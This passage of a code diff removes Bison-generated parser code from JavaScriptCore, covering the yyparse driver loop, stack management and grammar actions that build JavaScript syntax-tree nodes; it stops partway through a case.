-int yyparse ();
-#endif
-#endif /* ! YYPARSE_PARAM */
-
-
-
-
-
-/*-------------------------.
-| yyparse or yypush_parse.  |
-`-------------------------*/
-
-#ifdef YYPARSE_PARAM
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-int
-yyparse (void *YYPARSE_PARAM)
-#else
-int
-yyparse (YYPARSE_PARAM)
-    void *YYPARSE_PARAM;
-#endif
-#else /* ! YYPARSE_PARAM */
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-int
-yyparse (void)
-#else
-int
-yyparse ()
-
-#endif
-#endif
-{
-/* The lookahead symbol.  */
-int yychar;
-
-/* The semantic value of the lookahead symbol.  */
-YYSTYPE yylval;
-
-/* Location data for the lookahead symbol.  */
-YYLTYPE yylloc;
-
-    /* Number of syntax errors so far.  */
-    int yynerrs;
-
-    int yystate;
-    /* Number of tokens to shift before error messages enabled.  */
-    int yyerrstatus;
-
-    /* The stacks and their tools:
-       `yyss': related to states.
-       `yyvs': related to semantic values.
-       `yyls': related to locations.
-
-       Refer to the stacks thru separate pointers, to allow yyoverflow
-       to reallocate them elsewhere.  */
-
-    /* The state stack.  */
-    yytype_int16 yyssa[YYINITDEPTH];
-    yytype_int16 *yyss;
-    yytype_int16 *yyssp;
-
-    /* The semantic value stack.  */
-    YYSTYPE yyvsa[YYINITDEPTH];
-    YYSTYPE *yyvs;
-    YYSTYPE *yyvsp;
-
-    /* The location stack.  */
-    YYLTYPE yylsa[YYINITDEPTH];
-    YYLTYPE *yyls;
-    YYLTYPE *yylsp;
-
-    /* The locations where the error started and ended.  */
-    YYLTYPE yyerror_range[2];
-
-    YYSIZE_T yystacksize;
-
-  int yyn;
-  int yyresult;
-  /* Lookahead token as an internal (translated) token number.  */
-  int yytoken;
-  /* The variables used to return semantic value and location from the
-     action routines.  */
-  YYSTYPE yyval;
-  YYLTYPE yyloc;
-
-#if YYERROR_VERBOSE
-  /* Buffer for error messages, and its allocated size.  */
-  char yymsgbuf[128];
-  char *yymsg = yymsgbuf;
-  YYSIZE_T yymsg_alloc = sizeof yymsgbuf;
-#endif
-
-#define YYPOPSTACK(N)   (yyvsp -= (N), yyssp -= (N), yylsp -= (N))
-
-  /* The number of symbols on the RHS of the reduced rule.
-     Keep to zero when no symbol should be popped.  */
-  int yylen = 0;
-
-  yytoken = 0;
-  yyss = yyssa;
-  yyvs = yyvsa;
-  yyls = yylsa;
-  yystacksize = YYINITDEPTH;
-
-  YYDPRINTF ((stderr, "Starting parse\n"));
-
-  yystate = 0;
-  yyerrstatus = 0;
-  yynerrs = 0;
-  yychar = YYEMPTY; /* Cause a token to be read.  */
-
-  /* Initialize stack pointers.
-     Waste one element of value and location stack
-     so that they stay on the same level as the state stack.
-     The wasted elements are never initialized.  */
-  yyssp = yyss;
-  yyvsp = yyvs;
-  yylsp = yyls;
-
-#if YYLTYPE_IS_TRIVIAL
-  /* Initialize the default location before parsing starts.  */
-  yylloc.first_line   = yylloc.last_line   = 1;
-  yylloc.first_column = yylloc.last_column = 1;
-#endif
-
-  goto yysetstate;
-
-/*------------------------------------------------------------.
-| yynewstate -- Push a new state, which is found in yystate.  |
-`------------------------------------------------------------*/
- yynewstate:
-  /* In all cases, when you get here, the value and location stacks
-     have just been pushed.  So pushing a state here evens the stacks.  */
-  yyssp++;
-
- yysetstate:
-  *yyssp = yystate;
-
-  if (yyss + yystacksize - 1 <= yyssp)
-    {
-      /* Get the current used size of the three stacks, in elements.  */
-      YYSIZE_T yysize = yyssp - yyss + 1;
-
-#ifdef yyoverflow
-      {
-	/* Give user a chance to reallocate the stack.  Use copies of
-	   these so that the &'s don't force the real ones into
-	   memory.  */
-	YYSTYPE *yyvs1 = yyvs;
-	yytype_int16 *yyss1 = yyss;
-	YYLTYPE *yyls1 = yyls;
-
-	/* Each stack pointer address is followed by the size of the
-	   data in use in that stack, in bytes.  This used to be a
-	   conditional around just the two extra args, but that might
-	   be undefined if yyoverflow is a macro.  */
-	yyoverflow (YY_("memory exhausted"),
-		    &yyss1, yysize * sizeof (*yyssp),
-		    &yyvs1, yysize * sizeof (*yyvsp),
-		    &yyls1, yysize * sizeof (*yylsp),
-		    &yystacksize);
-
-	yyls = yyls1;
-	yyss = yyss1;
-	yyvs = yyvs1;
-      }
-#else /* no yyoverflow */
-# ifndef YYSTACK_RELOCATE
-      goto yyexhaustedlab;
-# else
-      /* Extend the stack our own way.  */
-      if (YYMAXDEPTH <= yystacksize)
-	goto yyexhaustedlab;
-      yystacksize *= 2;
-      if (YYMAXDEPTH < yystacksize)
-	yystacksize = YYMAXDEPTH;
-
-      {
-	yytype_int16 *yyss1 = yyss;
-	union yyalloc *yyptr =
-	  (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize));
-	if (! yyptr)
-	  goto yyexhaustedlab;
-	YYSTACK_RELOCATE (yyss_alloc, yyss);
-	YYSTACK_RELOCATE (yyvs_alloc, yyvs);
-	YYSTACK_RELOCATE (yyls_alloc, yyls);
-#  undef YYSTACK_RELOCATE
-	if (yyss1 != yyssa)
-	  YYSTACK_FREE (yyss1);
-      }
-# endif
-#endif /* no yyoverflow */
-
-      yyssp = yyss + yysize - 1;
-      yyvsp = yyvs + yysize - 1;
-      yylsp = yyls + yysize - 1;
-
-      YYDPRINTF ((stderr, "Stack size increased to %lu\n",
-		  (unsigned long int) yystacksize));
-
-      if (yyss + yystacksize - 1 <= yyssp)
-	YYABORT;
-    }
-
-  YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-
-  if (yystate == YYFINAL)
-    YYACCEPT;
-
-  goto yybackup;
-
-/*-----------.
-| yybackup.  |
-`-----------*/
-yybackup:
-
-  /* Do appropriate processing given the current state.  Read a
-     lookahead token if we need one and don't already have one.  */
-
-  /* First try to decide what to do without reference to lookahead token.  */
-  yyn = yypact[yystate];
-  if (yyn == YYPACT_NINF)
-    goto yydefault;
-
-  /* Not known => get a lookahead token if don't already have one.  */
-
-  /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol.  */
-  if (yychar == YYEMPTY)
-    {
-      YYDPRINTF ((stderr, "Reading a token: "));
-      yychar = YYLEX;
-    }
-
-  if (yychar <= YYEOF)
-    {
-      yychar = yytoken = YYEOF;
-      YYDPRINTF ((stderr, "Now at end of input.\n"));
-    }
-  else
-    {
-      yytoken = YYTRANSLATE (yychar);
-      YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc);
-    }
-
-  /* If the proper action on seeing token YYTOKEN is to reduce or to
-     detect an error, take that action.  */
-  yyn += yytoken;
-  if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken)
-    goto yydefault;
-  yyn = yytable[yyn];
-  if (yyn <= 0)
-    {
-      if (yyn == 0 || yyn == YYTABLE_NINF)
-	goto yyerrlab;
-      yyn = -yyn;
-      goto yyreduce;
-    }
-
-  /* Count tokens shifted since error; after three, turn off error
-     status.  */
-  if (yyerrstatus)
-    yyerrstatus--;
-
-  /* Shift the lookahead token.  */
-  YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc);
-
-  /* Discard the shifted token.  */
-  yychar = YYEMPTY;
-
-  yystate = yyn;
-  *++yyvsp = yylval;
-  *++yylsp = yylloc;
-  goto yynewstate;
-
-
-/*-----------------------------------------------------------.
-| yydefault -- do the default action for the current state.  |
-`-----------------------------------------------------------*/
-yydefault:
-  yyn = yydefact[yystate];
-  if (yyn == 0)
-    goto yyerrlab;
-  goto yyreduce;
-
-
-/*-----------------------------.
-| yyreduce -- Do a reduction.  |
-`-----------------------------*/
-yyreduce:
-  /* yyn is the number of a rule to reduce with.  */
-  yylen = yyr2[yyn];
-
-  /* If YYLEN is nonzero, implement the default value of the action:
-     `$$ = $1'.
-
-     Otherwise, the following line sets YYVAL to garbage.
-     This behavior is undocumented and Bison
-     users should not rely upon it.  Assigning to YYVAL
-     unconditionally makes the parser a bit smaller, and it avoids a
-     GCC warning that YYVAL may be used uninitialized.  */
-  yyval = yyvsp[1-yylen];
-
-  /* Default location.  */
-  YYLLOC_DEFAULT (yyloc, (yylsp - yylen), yylen);
-  YY_REDUCE_PRINT (yyn);
-  switch (yyn)
-    {
-        case 2:
-
-/* Line 1455 of yacc.c  */
-#line 293 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) NullNode(GLOBAL_DATA), 0, 1); ;}
-    break;
-
-  case 3:
-
-/* Line 1455 of yacc.c  */
-#line 294 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BooleanNode(GLOBAL_DATA, true), 0, 1); ;}
-    break;
-
-  case 4:
-
-/* Line 1455 of yacc.c  */
-#line 295 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) BooleanNode(GLOBAL_DATA, false), 0, 1); ;}
-    break;
-
-  case 5:
-
-/* Line 1455 of yacc.c  */
-#line 296 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeNumberNode(GLOBAL_DATA, (yyvsp[(1) - (1)].doubleValue)), 0, 1); ;}
-    break;
-
-  case 6:
-
-/* Line 1455 of yacc.c  */
-#line 297 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) StringNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident)), 0, 1); ;}
-    break;
-
-  case 7:
-
-/* Line 1455 of yacc.c  */
-#line 298 "../../JavaScriptCore/parser/Grammar.y"
-    {
-                                            Lexer& l = *GLOBAL_DATA->lexer;
-                                            const Identifier* pattern;
-                                            const Identifier* flags;
-                                            if (!l.scanRegExp(pattern, flags))
-                                                YYABORT;
-                                            RegExpNode* node = new (GLOBAL_DATA) RegExpNode(GLOBAL_DATA, *pattern, *flags);
-                                            int size = pattern->size() + 2; // + 2 for the two /'s
-                                            setExceptionLocation(node, (yylsp[(1) - (1)]).first_column, (yylsp[(1) - (1)]).first_column + size, (yylsp[(1) - (1)]).first_column + size);
-                                            (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, 0, 0);
-                                        ;}
-    break;
-
-  case 8:
-
-/* Line 1455 of yacc.c  */
-#line 309 "../../JavaScriptCore/parser/Grammar.y"
-    {
-                                            Lexer& l = *GLOBAL_DATA->lexer;
-                                            const Identifier* pattern;
-                                            const Identifier* flags;
-                                            if (!l.scanRegExp(pattern, flags, '='))
-                                                YYABORT;
-                                            RegExpNode* node = new (GLOBAL_DATA) RegExpNode(GLOBAL_DATA, *pattern, *flags);
-                                            int size = pattern->size() + 2; // + 2 for the two /'s
-                                            setExceptionLocation(node, (yylsp[(1) - (1)]).first_column, (yylsp[(1) - (1)]).first_column + size, (yylsp[(1) - (1)]).first_column + size);
-                                            (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, 0, 0);
-                                        ;}
-    break;
-
-  case 9:
-
-/* Line 1455 of yacc.c  */
-#line 323 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 10:
-
-/* Line 1455 of yacc.c  */
-#line 324 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (3)].ident), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 11:
-
-/* Line 1455 of yacc.c  */
-#line 325 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(new (GLOBAL_DATA) PropertyNode(GLOBAL_DATA, (yyvsp[(1) - (3)].doubleValue), (yyvsp[(3) - (3)].expressionNode).m_node, PropertyNode::Constant), (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 12:
-
-/* Line 1455 of yacc.c  */
-#line 326 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.propertyNode) = createNodeInfo<PropertyNode*>(makeGetterOrSetterPropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (7)].ident), *(yyvsp[(2) - (7)].ident), 0, (yyvsp[(6) - (7)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(5) - (7)].intValue), (yyvsp[(7) - (7)].intValue), (yylsp[(5) - (7)]).first_line)), ClosureFeature, 0); setStatementLocation((yyvsp[(6) - (7)].functionBodyNode), (yylsp[(5) - (7)]), (yylsp[(7) - (7)])); if (!(yyval.propertyNode).m_node) YYABORT; ;}
-    break;
-
-  case 13:
-
-/* Line 1455 of yacc.c  */
-#line 328 "../../JavaScriptCore/parser/Grammar.y"
-    {
-                                                                 (yyval.propertyNode) = createNodeInfo<PropertyNode*>(makeGetterOrSetterPropertyNode(GLOBAL_DATA, *(yyvsp[(1) - (8)].ident), *(yyvsp[(2) - (8)].ident), (yyvsp[(4) - (8)].parameterList).m_node.head, (yyvsp[(7) - (8)].functionBodyNode), GLOBAL_DATA->lexer->sourceCode((yyvsp[(6) - (8)].intValue), (yyvsp[(8) - (8)].intValue), (yylsp[(6) - (8)]).first_line)), (yyvsp[(4) - (8)].parameterList).m_features | ClosureFeature, 0); 
-                                                                 if ((yyvsp[(4) - (8)].parameterList).m_features & ArgumentsFeature)
-                                                                     (yyvsp[(7) - (8)].functionBodyNode)->setUsesArguments(); 
-                                                                 setStatementLocation((yyvsp[(7) - (8)].functionBodyNode), (yylsp[(6) - (8)]), (yylsp[(8) - (8)])); 
-                                                                 if (!(yyval.propertyNode).m_node) 
-                                                                     YYABORT; 
-                                                             ;}
-    break;
-
-  case 14:
-
-/* Line 1455 of yacc.c  */
-#line 339 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.propertyList).m_node.head = new (GLOBAL_DATA) PropertyListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].propertyNode).m_node); 
-                                          (yyval.propertyList).m_node.tail = (yyval.propertyList).m_node.head;
-                                          (yyval.propertyList).m_features = (yyvsp[(1) - (1)].propertyNode).m_features;
-                                          (yyval.propertyList).m_numConstants = (yyvsp[(1) - (1)].propertyNode).m_numConstants; ;}
-    break;
-
-  case 15:
-
-/* Line 1455 of yacc.c  */
-#line 343 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.propertyList).m_node.head = (yyvsp[(1) - (3)].propertyList).m_node.head;
-                                          (yyval.propertyList).m_node.tail = new (GLOBAL_DATA) PropertyListNode(GLOBAL_DATA, (yyvsp[(3) - (3)].propertyNode).m_node, (yyvsp[(1) - (3)].propertyList).m_node.tail);
-                                          (yyval.propertyList).m_features = (yyvsp[(1) - (3)].propertyList).m_features | (yyvsp[(3) - (3)].propertyNode).m_features;
-                                          (yyval.propertyList).m_numConstants = (yyvsp[(1) - (3)].propertyList).m_numConstants + (yyvsp[(3) - (3)].propertyNode).m_numConstants; ;}
-    break;
-
-  case 17:
-
-/* Line 1455 of yacc.c  */
-#line 351 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA), 0, 0); ;}
-    break;
-
-  case 18:
-
-/* Line 1455 of yacc.c  */
-#line 352 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA, (yyvsp[(2) - (3)].propertyList).m_node.head), (yyvsp[(2) - (3)].propertyList).m_features, (yyvsp[(2) - (3)].propertyList).m_numConstants); ;}
-    break;
-
-  case 19:
-
-/* Line 1455 of yacc.c  */
-#line 354 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ObjectLiteralNode(GLOBAL_DATA, (yyvsp[(2) - (4)].propertyList).m_node.head), (yyvsp[(2) - (4)].propertyList).m_features, (yyvsp[(2) - (4)].propertyList).m_numConstants); ;}
-    break;
-
-  case 20:
-
-/* Line 1455 of yacc.c  */
-#line 358 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ThisNode(GLOBAL_DATA), ThisFeature, 0); ;}
-    break;
-
-  case 23:
-
-/* Line 1455 of yacc.c  */
-#line 361 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ResolveNode(GLOBAL_DATA, *(yyvsp[(1) - (1)].ident), (yylsp[(1) - (1)]).first_column), (*(yyvsp[(1) - (1)].ident) == GLOBAL_DATA->propertyNames->arguments) ? ArgumentsFeature : 0, 0); ;}
-    break;
-
-  case 24:
-
-/* Line 1455 of yacc.c  */
-#line 362 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = (yyvsp[(2) - (3)].expressionNode); ;}
-    break;
-
-  case 25:
-
-/* Line 1455 of yacc.c  */
-#line 366 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(2) - (3)].intValue)), 0, (yyvsp[(2) - (3)].intValue) ? 1 : 0); ;}
-    break;
-
-  case 26:
-
-/* Line 1455 of yacc.c  */
-#line 367 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(2) - (3)].elementList).m_node.head), (yyvsp[(2) - (3)].elementList).m_features, (yyvsp[(2) - (3)].elementList).m_numConstants); ;}
-    break;
-
-  case 27:
-
-/* Line 1455 of yacc.c  */
-#line 368 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ArrayNode(GLOBAL_DATA, (yyvsp[(4) - (5)].intValue), (yyvsp[(2) - (5)].elementList).m_node.head), (yyvsp[(2) - (5)].elementList).m_features, (yyvsp[(4) - (5)].intValue) ? (yyvsp[(2) - (5)].elementList).m_numConstants + 1 : (yyvsp[(2) - (5)].elementList).m_numConstants); ;}
-    break;
-
-  case 28:
-
-/* Line 1455 of yacc.c  */
-#line 372 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.elementList).m_node.head = new (GLOBAL_DATA) ElementNode(GLOBAL_DATA, (yyvsp[(1) - (2)].intValue), (yyvsp[(2) - (2)].expressionNode).m_node);
-                                          (yyval.elementList).m_node.tail = (yyval.elementList).m_node.head;
-                                          (yyval.elementList).m_features = (yyvsp[(2) - (2)].expressionNode).m_features;
-                                          (yyval.elementList).m_numConstants = (yyvsp[(2) - (2)].expressionNode).m_numConstants; ;}
-    break;
-
-  case 29:
-
-/* Line 1455 of yacc.c  */
-#line 377 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.elementList).m_node.head = (yyvsp[(1) - (4)].elementList).m_node.head;
-                                          (yyval.elementList).m_node.tail = new (GLOBAL_DATA) ElementNode(GLOBAL_DATA, (yyvsp[(1) - (4)].elementList).m_node.tail, (yyvsp[(3) - (4)].intValue), (yyvsp[(4) - (4)].expressionNode).m_node);
-                                          (yyval.elementList).m_features = (yyvsp[(1) - (4)].elementList).m_features | (yyvsp[(4) - (4)].expressionNode).m_features;
-                                          (yyval.elementList).m_numConstants = (yyvsp[(1) - (4)].elementList).m_numConstants + (yyvsp[(4) - (4)].expressionNode).m_numConstants; ;}
-    break;
-
-  case 30:
-
-/* Line 1455 of yacc.c  */
-#line 384 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.intValue) = 0; ;}
-    break;
-
-  case 32:
-
-/* Line 1455 of yacc.c  */
-#line 389 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.intValue) = 1; ;}
-    break;
-
-  case 33:
-
-/* Line 1455 of yacc.c  */
-#line 390 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.intValue) = (yyvsp[(1) - (2)].intValue) + 1; ;}
-    break;
-
-  case 35:
-
-/* Line 1455 of yacc.c  */
-#line 395 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>((yyvsp[(1) - (1)].funcExprNode).m_node, (yyvsp[(1) - (1)].funcExprNode).m_features, (yyvsp[(1) - (1)].funcExprNode).m_numConstants); ;}
-    break;
-
-  case 36:
-
-/* Line 1455 of yacc.c  */
-#line 396 "../../JavaScriptCore/parser/Grammar.y"
-    { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 37:
-
-/* Line 1455 of yacc.c  */
-#line 400 "../../JavaScriptCore/parser/Grammar.y"
-    { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants);
-                                        ;}
-    break;
-
-  case 38:
-
-/* Line 1455 of yacc.c  */
-#line 404 "../../JavaScriptCore/parser/Grammar.y"
-    { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].argumentsNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].argumentsNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].argumentsNode).m_numConstants);
-                                        ;}
-    break;
-
-  case 40:
-
-/* Line 1455 of yacc.c  */
-#line 412 "../../JavaScriptCore/parser/Grammar.y"
-    { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 41:
-
-/* Line 1455 of yacc.c  */
-#line 416 "../../JavaScriptCore/parser/Grammar.y"
-    { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants);
-                                        ;}
-    break;
-
-  case 42:
-
-/* Line 1455 of yacc.c  */
-#line 420 "../../JavaScriptCore/parser/Grammar.y"
-    { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].argumentsNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(2) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].argumentsNode).m_features, (yyvsp[(2) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].argumentsNode).m_numConstants);
-                                        ;}
-    break;
-
-  case 44:
-
-/* Line 1455 of yacc.c  */
-#line 428 "../../JavaScriptCore/parser/Grammar.y"
-    { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 46:
-
-/* Line 1455 of yacc.c  */
-#line 436 "../../JavaScriptCore/parser/Grammar.y"
-    { NewExprNode* node = new (GLOBAL_DATA) NewExprNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node);
-                                          setExceptionLocation(node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants);
-                                        ;}
-    break;
-
-  case 47:
-
-/* Line 1455 of yacc.c  */
-#line 443 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
-    break;
-
-  case 48:
-
-/* Line 1455 of yacc.c  */
-#line 444 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
-    break;
-
-  case 49:
-
-/* Line 1455 of yacc.c  */
-#line 445 "../../JavaScriptCore/parser/Grammar.y"
-    { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 50:
-
-/* Line 1455 of yacc.c  */
-#line 449 "../../JavaScriptCore/parser/Grammar.y"
-    { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 51:
-
-/* Line 1455 of yacc.c  */
-#line 455 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
-    break;
-
-  case 52:
-
-/* Line 1455 of yacc.c  */
-#line 456 "../../JavaScriptCore/parser/Grammar.y"
